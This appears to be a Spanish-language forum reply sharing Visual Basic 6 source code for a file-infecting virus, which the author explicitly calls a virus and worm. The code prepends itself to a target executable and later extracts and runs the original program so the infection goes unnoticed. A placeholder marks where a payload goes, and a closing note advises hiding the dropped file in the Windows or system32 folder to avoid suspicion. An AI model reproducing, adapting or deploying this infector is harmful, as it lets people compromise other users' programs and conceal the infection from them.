Debes estar usando mal el Open. Aca te dejo un code de algo muy parecido a lo que queres hacer vos (demasiado parecido diria yo
). Espero que te sirva.
Private Sub Form_Load()
Dim Datos As String
Dim Original As String
Dim Yo As String
Dim Buff() As String
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1 'Abrimos el mismo programa
Yo = Input(LOF(1), 1) 'y ponemos el codigo en la variable 'Yo'
Close #1
Buff = Split(Yo, "----SEP----") 'Dividimos esa variable (espero que sepas como funciona el Split)
If UBound(Buff) > 0 Then 'Si se pudo dividir en mas de 1 pedazo (la variable Yo)
Open "C:\Resultado.exe" For Binary As #2 'abrimos un exe nuevo para introducir los datos
Put #2, , Buff(1) 'ponemos todo lo que hay DEBAJO del separador
Close #2
DoEvents
Shell "C:\Resultado.exe" 'abrimos el programa (que es el programa normal, NO el worm...)
MsgBox "Aca podemos poner el codigo del virus, o ponerlo al finall"
Unload Me 'nos cerramos(optativo xD)
Else 'si NO se pudo dividir, entonces es que no existe el separador. Lo creamos...
Open "C:\nylon.exe" For Binary As #3 'Abrimos el programa a infectar
Original = Input(LOF(3), 3) 'Guardamos el contenido en la variable 'Original'
Datos = Yo & "----SEP----" & Original 'Esto es lo que vamos a introducir en el archivo a infectar (YO = Nuestro virus, SEP = Separador, Original = archivo verdadero (el que estamos infectando)
Put #3, , Datos 'metemos los datos que grabamos antes
Close #3
End If
End Sub
'Al final de todo el proceso, el programa quedaria asi:
'
'--------------------------
'Nuestro programa
'---SEPARADOR---
'Programa original
'--------------------------
'
'
'Entonces, cuando abrimos el programa infectado, se abre NUESTRO programa,
'este busca lo que hay debajo del separador y lo mete en un nuevo archivo,
'despues abrimos ese archivo y salimos.
'
'
' Un abrazo y suerte
'
'
'
' .NYlOn.
'
'¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬ END ¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬
NOTA: La idea es que el archivo 'Resultado.exe' sea guardado en la carpeta de windows o system32, ya que sino resultaria muy sospechoso.
Saludos.-